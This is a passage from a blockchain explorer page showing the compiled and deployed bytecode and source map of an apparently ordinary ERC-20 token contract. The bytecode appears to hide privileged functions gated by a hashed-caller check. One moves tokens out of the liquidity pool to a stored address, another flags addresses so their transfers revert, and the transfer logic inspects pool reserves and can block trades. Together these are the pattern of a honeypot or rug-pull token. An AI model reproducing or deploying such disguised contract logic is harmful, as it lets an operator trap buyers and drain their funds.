afa610bf857600080fd5b8951600d5480871415610c275782851115610c1a578285039750601554881199505b82851415610c2757600198505b80861415610c515781841115610c44578184039750601554881199505b81841415610c5157600198505b505050505050505080821715610c6657600080fd5b50505b50608001604052610c7b8585846108ad565b5050505050565b60008184841115610ca65760405162461bcd60e51b81526004016105579190610e89565b506000610cb38486610f7e565b95945050505050565b600080610cc98385610f66565b905083811015610d1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610557565b9392505050565b6000610d1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c82565b80356001600160a01b0381168114610d7b57600080fd5b919050565b600060208284031215610d9257600080fd5b610d1b82610d64565b60008060408385031215610dae57600080fd5b610db783610d64565b9150610dc560208401610d64565b90509250929050565b600080600060608486031215610de357600080fd5b610dec84610d64565b9250610dfa60208501610d64565b9150604084013590509250925092565b60008060408385031215610e1d57600080fd5b610e2683610d64565b915060208301358015158114610e3b57600080fd5b809150509250929050565b60008060408385031215610e5957600080fd5b610e6283610d64565b946020939093013593505050565b600060208284031215610e8257600080fd5b5035919050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60008219821115610f7957610f79610fd0565b500190565b600082821015610f9057610f90610fd0565b500390565b600181811c90821680610fa957607f821691505b60208210811415610fca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc38d1a10a48b24c58f5a792054603fe047029af8a38156727d615931dbe64f564736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a1bdaa2e1161007c578063a1bdaa2e14610283578063a457c2d714610296578063a9059cbb146102a9578063c45a0155146102bc578063dd62ed3e146102cf578063f2fde38b1461030857600080fd5b806370a0823114610226578063715018a61461024f5780638da5cb5b14610257578063927f3d411461026857806395d89b411461027b57600080fd5b8063313ce567116100ff578063313ce567146101b757806339509351146101c257806349bd5a5e146101d557806350b3bdd7146102005780635d7918ae1461021357600080fd5b806306fdde031461013c578063095ea7b31461015a57806317d33fe41461017d57806318160ddd1461019257806323b872dd146101a4575b600080fd5b61014461031b565b6040516101519190610e89565b60405180910390f35b61016d610168366004610e46565b6103ad565b6040519015158152602001610151565b61019061018b366004610e70565b6103c3565b005b6006545b604051908152602001610151565b61016d6101b2366004610dce565b61041f565b60055460ff16610196565b61016d6101d0366004610e46565b610488565b6012546101e8906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b61019061020e366004610d80565b6104be565b601d546101e8906001600160a01b031681565b610196610234366004610d80565b6001600160a01b031660009081526020819052604090205490565b610190610501565b6007546001600160a01b03166101e8565b6002546101e8906001600160a01b031681565b6101446105aa565b610190610291366004610e0a565b6105b9565b61016d6102a4366004610e46565b610611565b61016d6102b7366004610e46565b610660565b6014546101e8906001600160a01b031681565b6101966102dd366004610d9b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610190610316366004610d80565b61066d565b60606003805461032a90610f95565b80601f016020809104026020016040519081016040528092919081815260200182805461035690610f95565b80156103a35780601f10610378576101008083540402835291602001916103a3565b820191906000526020600020905b81548152906001019060200180831161038657829003601f168201915b5050505050905090565b60006103ba338484610788565b50600192915050565b604051338152600c8101601460208301925060208301604052602083828460025afa6103ee57600080fd5b505051601a548082146103fd57005b5050601254601d5461041c916001600160a01b039081169116836108ad565b50565b600061042c848484610a13565b61047e843361047985604051806060016040528060288152602001610fe7602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610c82565b610788565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103ba9185906104799086610cbc565b604051338152600c8101601460208301925060208301604052602083828460025afa6104e957600080fd5b505051601a548082146104f857005b5050601d819055005b6007546001600160a01b031633146105605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780546001600160a01b0319169055565b60606004805461032a90610f95565b604051338152600c8101601460208301925060208301604052602083828460025afa6105e457600080fd5b505051601a548082146105f357005b505060408051838152600f6020820152818120908201909152819055005b60006103ba33846104798560405180606001604052806025815260200161100f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610c82565b60006103ba338484610a13565b6007546001600160a01b031633146106c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610557565b6001600160a01b03811661072c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610557565b6001600160a01b03821661084b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610557565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108d35760405162461bcd60e51b815260040161055790610f21565b6001600160a01b0382166108f95760405162461bcd60e51b815260040161055790610ede565b6001600160a01b0383166000908152602081905260409020548111156109705760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610557565b6001600160a01b0383166000908152602081905260409020546109939082610d22565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109c29082610cbc565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108a0565b6001600160a01b038316610a395760405162461bcd60e51b815260040161055790610f21565b6001600160a01b038216610a5f5760405162461bcd60e51b815260040161055790610ede565b60008111610ac15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610557565b6001600160a01b0383166000908152600e6020526040902054819060ff1680610b0257506001600160a01b0383166000908152600e602052604090205460ff165b15610b1857610b128484836108ad565b50505050565b60408051858152600f6020820152908120548491908015610b3857600080fd5b508581526016602082015260125480871415610c69576000806000630dfe168160e01b8552602085600487875afa610b6f57600080fd5b845163d21220a760e01b8652602086600488885afa610b8d57600080fd5b8551630240bc6b60e21b8752604087600489895afa610bab57600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610bd457600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875afa610bf857600080fd5b8951600d5480871415610c275782851115610c1a578285039750601554881199505b82851415610c2757600198505b80861415610c515781841115610c44578184039750601554881199505b81841415610c5157600198505b505050505050505080821715610c6657600080fd5b50505b50608001604052610c7b8585846108ad565b5050505050565b60008184841115610ca65760405162461bcd60e51b81526004016105579190610e89565b506000610cb38486610f7e565b95945050505050565b600080610cc98385610f66565b905083811015610d1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610557565b9392505050565b6000610d1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c82565b80356001600160a01b0381168114610d7b57600080fd5b919050565b600060208284031215610d9257600080fd5b610d1b82610d64565b60008060408385031215610dae57600080fd5b610db783610d64565b9150610dc560208401610d64565b90509250929050565b600080600060608486031215610de357600080fd5b610dec84610d64565b9250610dfa60208501610d64565b9150604084013590509250925092565b60008060408385031215610e1d57600080fd5b610e2683610d64565b915060208301358015158114610e3b57600080fd5b809150509250929050565b60008060408385031215610e5957600080fd5b610e6283610d64565b946020939093013593505050565b600060208284031215610e8257600080fd5b5035919050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60008219821115610f7957610f79610fd0565b500190565b600082821015610f9057610f90610fd0565b500390565b600181811c90821680610fa957607f821691505b60208210811415610fca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc38d1a10a48b24c58f5a792054603fe047029af8a38156727d615931dbe64f564736f6c63430008060033

Deployed Bytecode Sourcemap

13278:7870:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8652:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9592:191;;;;;;:::i;:::-;;:::i;:::-;;;2150:14:1;;2143:22;2125:41;;2113:2;2098:18;9592:191:0;2080:92:1;19527:668:0;;;;;;:::i;:::-;;:::i;:::-;;8939:95;9019:7;;8939:95;;;6484:25:1;;;6472:2;6457:18;8939:95:0;6439:76:1;11213:417:0;;;;;;:::i;:::-;;:::i;8846:85::-;8914:9;;;;8846:85;;11642:296;;;;;;:::i;:::-;;:::i;13982:28::-;;;;;-1:-1:-1;;;;;13982:28:0;;;;;;-1:-1:-1;;;;;1941:32:1;;;1923:51;;1911:2;1896:18;13982:28:0;1878:102:1;18853:670:0;;;;;;:::i;:::-;;:::i;14442:25::-;;;;;-1:-1:-1;;;;;14442:25:0;;;9042:117;;;;;;:::i;:::-;-1:-1:-1;;;;;9135:16:0;9108:7;9135:16;;;;;;;;;;;;9042:117;3396:148;;;:::i;3184:79::-;3249:6;;-1:-1:-1;;;;;3249:6:0;3184:79;;8118:84;;;;;-1:-1:-1;;;;;8118:84:0;;;8743:87;;;:::i;20199:944::-;;;;;;:::i;:::-;;:::i;11946:396::-;;;;;;:::i;:::-;;:::i;9167:205::-;;;;;;:::i;:::-;;:::i;14053:22::-;;;;;-1:-1:-1;;;;;14053:22:0;;;9382:200;;;;;;:::i;:::-;-1:-1:-1;;;;;9539:22:0;;;9507:7;9539:22;;;:11;:22;;;;;;;;:35;;;;;;;;;;;;;9382:200;3552:281;;;;;;:::i;:::-;;:::i;8652:83::-;8689:13;8722:5;8715:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8652:83;:::o;9592:191::-;9694:4;9716:37;9725:10;9737:7;9746:6;9716:8;:37::i;:::-;-1:-1:-1;9771:4:0;9592:191;;;;:::o;19527:668::-;19614:4;19608:11;19640:8;19635:3;19628:21;19680:4;19675:3;19671:14;19711:4;19747;19742:3;19738:14;19724:28;;19786:4;19778:6;19774:17;19768:4;19761:31;19858:4;19850:6;19839:9;19832:5;19829:1;19822:5;19811:52;19801:2;;19889:1;19886;19879:12;19801:2;-1:-1:-1;;19930:13:0;19974:16;20017:21;20057:28;;;20047:2;;20101:12;20047:2;-1:-1:-1;;20156:13:0;;20171:10;;20134:58;;-1:-1:-1;;;;;20156:13:0;;;;20171:10;20183:8;20134:21;:58::i;:::-;19527:668;:::o;11213:417::-;11335:4;11352:26;11362:4;11368:2;11372:5;11352:9;:26::i;:::-;11389:211;11412:4;11431:10;11456:133;11508:5;11456:133;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11456:17:0;;;;;;:11;:17;;;;;;;;11474:10;11456:29;;;;;;;;;:133;:33;:133::i;:::-;11389:8;:211::i;:::-;-1:-1:-1;11618:4:0;11213:417;;;;;:::o;11642:296::-;11802:10;11757:4;11849:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;11849:32:0;;;;;;;;;;11757:4;;11779:129;;11827:7;;11849:48;;11886:10;11849:36;:48::i;18853:670::-;18941:4;18935:11;18967:8;18962:3;18955:21;19007:4;19002:3;18998:14;19038:4;19074;19069:3;19065:14;19051:28;;19113:4;19105:6;19101:17;19095:4;19088:31;19185:4;19177:6;19166:9;19159:5;19156:1;19149:5;19138:52;19128:2;;19216:1;19213;19206:12;19128:2;-1:-1:-1;;19257:13:0;19301:16;19344:21;19384:28;;;19374:2;;19428:12;19374:2;-1:-1:-1;;19466:15:0;19459:35;;;19503:12;3396:148;3311:6;;-1:-1:-1;;;;;3311:6:0;3321:10;3311:20;3303:65;;;;-1:-1:-1;;;3303:65:0;;4958:2:1;3303:65:0;;;4940:21:1;;;4977:18;;;4970:30;5036:34;5016:18;;;5009:62;5088:18;;3303:65:0;;;;;;;;;3487:6:::1;::::0;3466:40:::1;::::0;3503:1:::1;::::0;-1:-1:-1;;;;;3487:6:0::1;::::0;3466:40:::1;::::0;3503:1;;3466:40:::1;3517:6;:19:::0;;-1:-1:-1;;;;;;3517:19:0::1;::::0;;3396:148::o;8743:87::-;8782:13;8815:7;8808:14;;;;;:::i;20199:944::-;20306:4;20300:11;20332:8;20327:3;20320:21;20372:4;20367:3;20363:14;20403:4;20439;20434:3;20430:14;20416:28;;20478:4;20470:6;20466:17;20460:4;20453:31;20550:4;20542:6;20531:9;20524:5;20521:1;20514:5;20503:52;20493:2;;20581:1;20578;20571:12;20493:2;-1:-1:-1;;20622:13:0;20666:16;20709:21;20749:28;;;20739:2;;20793:12;20739:2;-1:-1:-1;;20892:4:0;20886:11;;20906:28;;;20843:19;20963:4;20950:18;;20943:39;21010:24;;;21056:18;;;21043:32;;;21084:30;;;21123:12;11946:396;12066:4;12088:224;12111:10;12136:7;12158:143;12213:15;12158:143;;;;;;;;;;;;;;;;;12170:10;12158:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12158:32:0;;;;;;;;;;;:143;:36;:143::i;9167:205::-;9276:4;9298:44;9308:10;9320;9332:9;9298;:44::i;3552:281::-;3311:6;;-1:-1:-1;;;;;3311:6:0;3321:10;3311:20;3303:65;;;;-1:-1:-1;;;3303:65:0;;4958:2:1;3303:65:0;;;4940:21:1;;;4977:18;;;4970:30;5036:34;5016:18;;;5009:62;5088:18;;3303:65:0;4930:182:1;3303:65:0;-1:-1:-1;;;;;3655:22:0;::::1;3633:110;;;::::0;-1:-1:-1;;;3633:110:0;;3385:2:1;3633:110:0::1;::::0;::::1;3367:21:1::0;3424:2;3404:18;;;3397:30;3463:34;3443:18;;;3436:62;-1:-1:-1;;;3514:18:1;;;3507:36;3560:19;;3633:110:0::1;3357:228:1::0;3633:110:0::1;3780:6;::::0;3759:38:::1;::::0;-1:-1:-1;;;;;3759:38:0;;::::1;::::0;3780:6:::1;::::0;3759:38:::1;::::0;3780:6:::1;::::0;3759:38:::1;3808:6;:17:::0;;-1:-1:-1;;;;;;3808:17:0::1;-1:-1:-1::0;;;;;3808:17:0;;;::::1;::::0;;;::::1;::::0;;3552:281::o;12742:381::-;-1:-1:-1;;;;;12879:19:0;;12871:68;;;;-1:-1:-1;;;12871:68:0;;6135:2:1;12871:68:0;;;6117:21:1;6174:2;6154:18;;;6147:30;6213:34;6193:18;;;6186:62;-1:-1:-1;;;6264:18:1;;;6257:34;6308:19;;12871:68:0;6107:226:1;12871:68:0;-1:-1:-1;;;;;12958:21:0;;12950:68;;;;-1:-1:-1;;;12950:68:0;;3792:2:1;12950:68:0;;;3774:21:1;3831:2;3811:18;;;3804:30;3870:34;3850:18;;;3843:62;-1:-1:-1;;;3921:18:1;;;3914:32;3963:19;;12950:68:0;3764:224:1;12950:68:0;-1:-1:-1;;;;;13031:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13083:32;;6484:25:1;;;13083:32:0;;6457:18:1;13083:32:0;;;;;;;;12742:381;;;:::o;9791:703::-;-1:-1:-1;;;;;9957:24:0;;9935:111;;;;-1:-1:-1;;;9935:111:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10079:25:0;;10057:110;;;;-1:-1:-1;;;10057:110:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10204:19:0;;:7;:19;;;;;;;;;;;:29;-1:-1:-1;10204:29:0;10182:117;;;;-1:-1:-1;;;10182:117:0;;4551:2:1;10182:117:0;;;4533:21:1;4590:2;4570:18;;;4563:30;4629:34;4609:18;;;4602:62;-1:-1:-1;;;4680:18:1;;;4673:36;4726:19;;10182:117:0;4523:228:1;10182:117:0;-1:-1:-1;;;;;10332:19:0;;:7;:19;;;;;;;;;;;:31;;10356:6;10332:23;:31::i;:::-;-1:-1:-1;;;;;10310:19:0;;;:7;:19;;;;;;;;;;;:53;;;;10397:20;;;;;;;:32;;10422:6;10397:24;:32::i;:::-;-1:-1:-1;;;;;10374:20:0;;;:7;:20;;;;;;;;;;;;:55;;;;10445:41;6484:25:1;;;10374:20:0;;10445:41;;;;;;6457:18:1;10445:41:0;6439:76:1;15186:3663:0;-1:-1:-1;;;;;15293:18:0;;15285:68;;;;-1:-1:-1;;;15285:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15367:16:0;;15359:64;;;;-1:-1:-1;;;15359:64:0;;;;;;;:::i;:::-;15446:1;15437:6;:10;15429:64;;;;-1:-1:-1;;;15429:64:0;;5319:2:1;15429:64:0;;;5301:21:1;5358:2;5338:18;;;5331:30;5397:34;5377:18;;;5370:62;-1:-1:-1;;;5448:18:1;;;5441:39;5497:19;;15429:64:0;5291:231:1;15429:64:0;-1:-1:-1;;;;;15540:19:0;;15499:22;15540:19;;;:13;:19;;;;;;15524:6;;15540:19;;;:40;;-1:-1:-1;;;;;;15563:17:0;;;;;;:13;:17;;;;;;;;15540:40;15536:120;;;15592:41;15608:4;15614:2;15618:14;15592:15;:41::i;:::-;15643:7;15186:3663;;;:::o;15536:120::-;15730:4;15724:11;;15744:21;;;15801:19;15794:4;15781:18;;15774:47;15849:24;;;15906:18;15682:2;;15724:11;15933:2;;;;15977:1;15974;15967:12;15933:2;-1:-1:-1;15998:21:0;;;16055:19;16048:4;16035:18;;16028:47;16325:18;16319:25;16356:14;;;16353:2;;;16399:1;16427;16460;-1:-1:-1;;;16481:7:0;16474:83;16628:4;16619:7;16613:4;16604:7;16598:4;16591:5;16580:53;16570:2;;16663:1;16660;16653:12;16570:2;16712:7;16706:14;-1:-1:-1;;;16740:7:0;16733:83;16887:4;16878:7;16872:4;16863:7;16857:4;16850:5;16839:53;16829:2;;16922:1;16919;16912:12;16829:2;16971:7;16965:14;-1:-1:-1;;;16999:7:0;16992:83;17146:4;17137:7;17131:4;17122:7;17116:4;17109:5;17098:53;17088:2;;17181:1;17178;17171:12;17088:2;17233:7;17227:14;17290:4;17281:7;17277:18;17271:25;-1:-1:-1;;;17316:7:0;17309:83;17432:4;17425;17416:7;17412:18;17405:32;17510:4;17501:7;17495:4;17486:7;17478:6;17471:5;17460:55;17450:2;;17545:1;17542;17535:12;17450:2;17596:7;17590:14;-1:-1:-1;;;17624:7:0;17617:83;17740:4;17733;17724:7;17720:18;17713:32;17818:4;17809:7;17803:4;17794:7;17786:6;17779:5;17768:55;17758:2;;17853:1;17850;17843:12;17758:2;17903:7;17897:14;17952:15;17946:22;17995:14;17987:6;17984:26;17981:2;;;18046:8;18035:9;18032:23;18029:2;;;18108:8;18097:9;18093:24;18078:39;;18170:18;18164:25;18151:11;18148:42;18138:52;;18029:2;18242:8;18231:9;18228:23;18225:2;;;18284:1;18274:11;;18225:2;18344:14;18336:6;18333:26;18330:2;;;18395:7;18384:9;18381:22;18378:2;;;18456:7;18445:9;18441:23;18426:38;;18517:18;18511:25;18498:11;18495:42;18485:52;;18378:2;18589:7;18578:9;18575:22;18572:2;;;18630:1;18620:11;;18572:2;18330;;;;;;;;18690:6;18682;18679:18;18676:2;;;18726:1;18723;18716:12;18676:2;;;16353;-1:-1:-1;18788:4:0;18775:18;18769:4;18762:32;18805:41;18821:4;18827:2;18831:14;18805:15;:41::i;:::-;15279:3570;;15186:3663;;;:::o;5401:226::-;5521:7;5557:12;5549:6;;;;5541:29;;;;-1:-1:-1;;;5541:29:0;;;;;;;;:::i;:::-;-1:-1:-1;5581:9:0;5593:5;5597:1;5593;:5;:::i;:::-;5581:17;5401:226;-1:-1:-1;;;;;5401:226:0:o;4498:181::-;4556:7;;4588:5;4592:1;4588;:5;:::i;:::-;4576:17;;4617:1;4612;:6;;4604:46;;;;-1:-1:-1;;;4604:46:0;;4195:2:1;4604:46:0;;;4177:21:1;4234:2;4214:18;;;4207:30;4273:29;4253:18;;;4246:57;4320:18;;4604:46:0;4167:177:1;4604:46:0;4670:1;4498:181;-1:-1:-1;;;4498:181:0:o;4962:136::-;5020:7;5047:43;5051:1;5054;5047:43;;;;;;;;;;;;;;;;;:3;:43::i;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;111:2;63:124;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;320:1;317;310:12;272:2;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:2;;;528:1;525;518:12;480:2;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;470:173;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:2;;;810:1;807;800:12;762:2;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;752:224;;;;;:::o;981:347::-;1046:6;1054;1107:2;1095:9;1086:7;1082:23;1078:32;1075:2;;;1123:1;1120;1113:12;1075:2;1146:29;1165:9;1146:29;:::i;:::-;1136:39;;1225:2;1214:9;1210:18;1197:32;1272:5;1265:13;1258:21;1251:5;1248:32;1238:2;;1294:1;1291;1284:12;1238:2;1317:5;1307:15;;;1065:263;;;;;:::o;1333:254::-;1401:6;1409;1462:2;1450:9;1441:7;1437:23;1433:32;1430:2;;;1478:1;1475;1468:12;1430:2;1501:29;1520:9;1501:29;:::i;:::-;1491:39;1577:2;1562:18;;;;1549:32;;-1:-1:-1;;;1420:167:1:o;1592:180::-;1651:6;1704:2;1692:9;1683:7;1679:23;1675:32;1672:2;;;1720:1;1717;1710:12;1672:2;-1:-1:-1;1743:23:1;;1662:110;-1:-1:-1;1662:110:1:o;2177:597::-;2289:4;2318:2;2347;2336:9;2329:21;2379:6;2373:13;2422:6;2417:2;2406:9;2402:18;2395:34;2447:1;2457:140;2471:6;2468:1;2465:13;2457:140;;;2566:14;;;2562:23;;2556:30;2532:17;;;2551:2;2528:26;2521:66;2486:10;;2457:140;;;2615:6;2612:1;2609:13;2606:2;;;2685:1;2680:2;2671:6;2660:9;2656:22;2652:31;2645:42;2606:2;-1:-1:-1;2758:2:1;2737:15;-1:-1:-1;;2733:29:1;2718:45;;;;2765:2;2714:54;;2298:476;-1:-1:-1;;;2298:476:1:o;2779:399::-;2981:2;2963:21;;;3020:2;3000:18;;;2993:30;3059:34;3054:2;3039:18;;3032:62;-1:-1:-1;;;3125:2:1;3110:18;;3103:33;3168:3;3153:19;;2953:225::o;5527:401::-;5729:2;5711:21;;;5768:2;5748:18;;;5741:30;5807:34;5802:2;5787:18;;5780:62;-1:-1:-1;;;5873:2:1;5858:18;;5851:35;5918:3;5903:19;;5701:227::o;6520:128::-;6560:3;6591:1;6587:6;6584:1;6581:13;6578:2;;;6597:18;;:::i;:::-;-1:-1:-1;6633:9:1;;6568:80::o;6653:125::-;6693:4;6721:1;6718;6715:8;6712:2;;;6726:18;;:::i;:::-;-1:-1:-1;6763:9:1;;6702:76::o;6783:380::-;6862:1;6858:12;;;;6905;;;6926:2;;6980:4;6972:6;6968:17;6958:27;;6926:2;7033;7025:6;7022:14;7002:18;6999:38;6996:2;;;7079:10;7074:3;7070:20;7067:1;7060:31;7114:4;7111:1;7104:15;7142:4;7139:1;7132:15;6996:2;;6838:325;;;:::o;7168:127::-;7229:10;7224:3;7220:20;7217:1;7210:31;7260:4;7257:1;7250:15;7284:4;7281:1;7274:15

Swarm Source

ipfs://dc38d1a10a48b24c58f5a792054603fe047029af8a38156727d615931dbe64f5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.